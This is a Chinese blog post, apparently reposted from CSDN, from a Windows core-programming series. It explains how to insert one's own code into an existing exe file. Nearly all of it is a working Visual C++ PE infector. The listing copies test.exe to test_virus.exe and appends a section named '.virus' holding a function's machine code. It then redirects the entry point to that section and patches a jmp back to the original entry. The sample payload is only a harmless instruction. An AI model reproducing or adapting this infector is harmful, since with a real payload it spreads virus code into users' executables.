现在的位置: 首页 > 综合 > 正文

基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码

2013年01月13日 ⁄ 综合 ⁄ 共 10284字 ⁄ 字号 评论关闭

我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,

我们如何在代码中实现呢。请见代码与注释讲解

  1. #include <iostream.h> 
  2. #include <windows.h> 
  3. #include <stdio.h> 
  4.  
  5. ////////////////////////////////////////////////////////////////////////// 
  6. //******************************************************************* 
  7. //*******以下为程序代码******* 
  8. //******************************************************************* 
  9. ////////////////////////////////////////////////////////////////////////// 
  10. void VirusCode() 
  11.     _asm  
  12.     { 
  13.         mov eax , 5 
  14.     } 
  15.  
  16.     return
  17.  
  18.  
  19.  
  20. ////////////////////////////////////////////////////////////////////////// 
  21. //******************************************************************* 
  22. //*******主函数******* 
  23. //******************************************************************* 
  24. ////////////////////////////////////////////////////////////////////////// 
  25. void main() 
  26. //******************************************************************* 
  27. //*******首先得到程序代码起始地址,结束地址,代码长度******* 
  28. //******************************************************************* 
  29.     ///////////////////////////////////////////////////////////////// 
  30.     //  *******变量说明******* 
  31.     //  **dwFunBegAddr  :程序函数的开始地址 
  32.     //  **dwFunEndAddr  :程序函数的结束地址 
  33.     //  **dwFunCodeLen  :程序代码长度 
  34.     //  **dwJmpOff      :程序函数jmp区到真正入口的偏移 
  35.     //  **pMove         :临时的指针变量 
  36.     ///////////////////////////////////////////////////////////////// 
  37.     DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen; 
  38.     PBYTE pMove = NULL; 
  39.      
  40.     //  *******首先指向程序函数的jmp指令******* 
  41.     pMove = (PBYTE)VirusCode; 
  42.      
  43.     cout << "函数的jmp地址为:" << (PVOID)pMove << endl; 
  44.     //  *******定位到jmp后面的偏移处******* 
  45.     pMove ++; 
  46.  
  47.     //  *******把偏移赋值给变量******* 
  48.     dwJmpOff = *((PDWORD)pMove); 
  49.  
  50.     //  *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址******* 
  51.     dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff; 
  52.  
  53.     cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl; 
  54.     cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl; 
  55.      
  56.     //  *******以下通过搜索得到函数的结束地址******* 
  57.     //  *******首先把函数的入口地址赋给变量******* 
  58.     pMove = (PBYTE)dwFunBegAddr; 
  59.  
  60.     //  *******向后搜索,直到结尾******* 
  61.     while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))) 
  62.     { 
  63.         pMove ++; 
  64.     } 
  65.  
  66.     //  *******此时pMove指向ret前一条指令******* 
  67.     //  *******pMove向后移5个字节,为程序代码的jmp指令占位******* 
  68.     pMove +=5; 
  69.     dwFunEndAddr = (DWORD)pMove; 
  70.  
  71.  
  72.     cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl; 
  73.  
  74.     //  *******结束地址减去起始地址,得到代码长度******* 
  75.     dwFunCodeLen = dwFunEndAddr - dwFunBegAddr; 
  76.  
  77.     cout << "总代码长度为:" << (int)dwFunCodeLen << endl; 
  78.  
  79. //******************************************************************* 
  80. //*******以下为在exe文件中添加程序代码******* 
  81. //******************************************************************* 
  82.     HANDLE hFile , hMapFile; 
  83.     LPVOID pMapOfFile = NULL; 
  84.      
  85. //******************************************************************* 
  86. //*******检测文件合法性******* 
  87. //******************************************************************* 
  88.     //  *******打开文件******* 
  89.     hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |  
  90.             FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  91.  
  92.     if (INVALID_HANDLE_VALUE == hFile) 
  93.     { 
  94.         cout << "CreateFile Error!" << endl; 
  95.         return
  96.     } 
  97.  
  98.     //  *******创建文件映射******* 
  99.     hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); 
  100.  
  101.     if (!hMapFile) 
  102.     { 
  103.         cout << "CreateFileMapping Error!" << endl; 
  104.         goto CLOSEFILEHANDLE; 
  105.     } 
  106.  
  107.     //  *******把文件映射到内存中******* 
  108.     pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); 
  109.  
  110.     if (!pMapOfFile) 
  111.     { 
  112.         cout << "MapViewOfFile Error!" << endl; 
  113.         goto CLOSEMAPHANDLE; 
  114.     } 
  115.  
  116.     IMAGE_DOS_HEADER *pDosHeader; 
  117.  
  118.     //  ********检测DOS文件头******* 
  119.     pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; 
  120.  
  121.     if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 
  122.     { 
  123.         cout << "Check Dos Header Error!" << endl; 
  124.         goto FreeViewOfMap; 
  125.     } 
  126.  
  127.     IMAGE_NT_HEADERS *pNtHeader; 
  128.  
  129.     //  *******检测NT文件头******* 
  130.     pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); 
  131.  
  132.     if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) 
  133.     { 
  134.         cout << "Check NT Header Error!" << endl; 
  135.         goto FreeViewOfMap; 
  136.     } 
  137. //*************************************************************** 
  138. //*******准备工作******* 
  139. //*************************************************************** 
  140.     BOOL bCopy; 
  141.  
  142.     //  *******首先把要添加程序代码的文件复制一份******* 
  143.     bCopy = CopyFile("test.exe" ,
    "test_virus.exe" , FALSE); 
  144.     if (!bCopy) 
  145.     { 
  146.         cout << "CopyFile Error!" << endl; 
  147.     } 
  148.  
  149.     HANDLE hNewFile; 
  150.  
  151.     //  *******打开刚刚复制的文件******* 
  152.     hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ  
  153.                 | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  154.  
  155.     if (!hNewFile) 
  156.     { 
  157.         cout << "CreateFile Error!" << endl; 
  158.         goto FreeViewOfMap; 
  159.     } 
  160.  
  161.     HGLOBAL pNewFileHeader; 
  162.  
  163.     //  *******为新文件的文件头申请一块内存,用于修改文件头信息******* 
  164.     pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); 
  165.  
  166.     if (!pNewFileHeader) 
  167.     { 
  168.         cout << "GlobalAlloc Error!" << endl; 
  169.         goto CloseNewFileHandle; 
  170.     } 
  171.  
  172.     //  *******用原文件头填充这块内存******* 
  173.     RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); 
  174.  
  175.     IMAGE_NT_HEADERS *pNewFileNtHeader; 
  176.  
  177.     pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); 
  178.  
  179. ////////////////////////////////////////////////////////////////////////// 
  180. //*******此时的指针信息******* 
  181. //*******pMapOfFile         :   原映射文件的开始 
  182. //*******pDosHeader         :   原映射文件的DOS头也就是文件开始,只不过类型不一样 
  183. //*******pNTHeader          :   原映射文件的NT头 
  184. //*******pNewFileHeader     :   新文件的开始 
  185. //*******pNewFileNtHeader   :   新文件的NT头 
  186. ////////////////////////////////////////////////////////////////////////// 
  187. //**************************************************************** 
  188. //*******修改新文件的节表信息******* 
  189. //**************************************************************** 
  190.     int nSecNum; 
  191.     nSecNum = pNtHeader->FileHeader.NumberOfSections; 
  192.     IMAGE_SECTION_HEADER *pLastSec , *pNewSec; 
  193.  
  194.     //  *******定位到原文件中的最后一个节表******* 
  195.     pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader +
    sizeof(IMAGE_NT_HEADERS) 
  196.                 + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); 
  197.  
  198.     //  *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* 
  199.     pNewSec = pLastSec + 1; 
  200.  
  201.     //*******修改新增节表的相关信息******* 
  202.     //*****节表总数加1***** 
  203.     pNewFileNtHeader->FileHeader.NumberOfSections ++; 
  204.  
  205.     //*****修改新节的文件偏移***** 
  206.     pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; 
  207.  
  208.     //*****修改新节的文件尺寸***** 
  209.     int nAlignNum; 
  210.  
  211.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; 
  212.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) 
  213.     { 
  214.         nAlignNum++; 
  215.     } 
  216.     pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; 
  217.  
  218.     //*****修改所有代码长度按内存页对齐后的大小***** 
  219.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  220.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  221.     { 
  222.         nAlignNum ++; 
  223.     } 
  224.     pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *  
  225.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  226.  
  227.     //*****修改文件内存映像尺寸***** 
  228.     pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *  
  229.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  230.  
  231.     //*****修改新节的内存偏移量***** 
  232.     //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** 
  233.     nAlignNum = pLastSec->Misc.VirtualSize /  
  234.                 pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  235.     if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  236.     { 
  237.         nAlignNum ++; 
  238.     } 
  239.     pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + 
  240.                                 pLastSec->VirtualAddress; 
  241.  
  242.     //*****修改新节的内存尺寸***** 
  243.     pNewSec->Misc.VirtualSize = dwFunCodeLen; 
  244.  
  245.     //*****更新新节属性***** 
  246.     pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |  
  247.                     IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 
  248.  
  249.     //*****更新节名***** 
  250.     strcpy((char*)pNewSec->Name ,
    ".virus"); 
  251.  
  252.     //*****更新入口地址***** 
  253.  
  254.     pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; 
  255.  
  256.     BOOL bWrite; 
  257.     DWORD dwHeaderSize , dwWriten; 
  258.     dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); 
  259.     bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); 
  260.  
  261.     //*****向文件中添加程序代码***** 
  262.     DWORD dwSetFileP; 
  263.  
  264.     //*****定位到新文件中新节开始处***** 
  265.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); 
  266.     if (!dwSetFileP) 
  267.     { 
  268.         cout << "SetFilePointer Error!" << endl; 
  269.         goto CloseNewFileHandle; 
  270.     } 
  271.  
  272.     //*****写入程序代码***** 
  273.     bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL); 
  274.     if (!bWrite) 
  275.     { 
  276.         cout << "Write Virus Code Error!" << endl; 
  277.         goto CloseNewFileHandle; 
  278.     } 
  279.  
  280.     //*****定位到文件尾部***** 
  281.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +  
  282.                     pNewSec->SizeOfRawData , NULL , FILE_BEGIN); 
  283.     if (!dwSetFileP) 
  284.     { 
  285.         cout << "SetFilePointer End Error!" << endl; 
  286.         goto CloseNewFileHandle; 
  287.     } 
  288.  
  289.     //*****设定文件结束***** 
  290.     if (!SetEndOfFile(hNewFile)) 
  291.     { 
  292.         cout << "SetEndOfFile Error!" << endl; 
  293.         goto CloseNewFileHandle; 
  294.     } 
  295.  
  296.     //*******修正原入口地址******* 
  297.     PBYTE pModifyAddr; 
  298.     pModifyAddr = (PBYTE)pNewSec->VirtualAddress; 
  299.  
  300.     pModifyAddr += dwFunCodeLen; 
  301.     //printf("%x\n" , pModifyAddr); 
  302.  
  303.     int nSub;    //跳转的距离 
  304.     nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; 
  305.  
  306.     DWORD dwModifyLoca; 
  307.     dwModifyLoca = pNewSec->PointerToRawData; 
  308.     dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; 
  309.     //dwModifyLoca ++; 
  310.  
  311.     //  *****定位到程序代码最后的五个字节处***** 
  312.     dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); 
  313.     if (!dwSetFileP) 
  314.     { 
  315.         cout << "Modify Address SetFilePointer Error!" << endl; 
  316.         goto CloseNewFileHandle; 
  317.     } 
  318.     //*****修正jmp指令***** 
  319.     BYTE bJmp; 
  320.     bJmp = 0XE9; 
  321.     bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); 
  322.     if (!bWrite) 
  323.     { 
  324.         cout << "Modify Address WriteFile Error!" << endl; 
  325.         goto CloseNewFileHandle; 
  326.     } 
  327.     //*****修正跳转地址***** 
  328.     bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); 
  329.     if (!bWrite) 
  330.     { 
  331.         cout << "Modify Address WriteFile Error!" << endl; 
  332.         goto CloseNewFileHandle; 
  333.     } 
  334.  
  335.  
  336. //**************************************************************** 
  337. //*******扫尾工作******* 
  338. //**************************************************************** 
  339. CloseNewFileHandle: 
  340.     CloseHandle(hNewFile); 
  341. FreeViewOfMap: 
  342.     UnmapViewOfFile(pMapOfFile); 
  343. CLOSEMAPHANDLE: 
  344.     CloseHandle(hMapFile); 
  345. CLOSEFILEHANDLE: 
  346.     CloseHandle(hFile); 

原文地址:http://blog.csdn.net/yincheng01/article/details/7214472

抱歉!评论已关闭.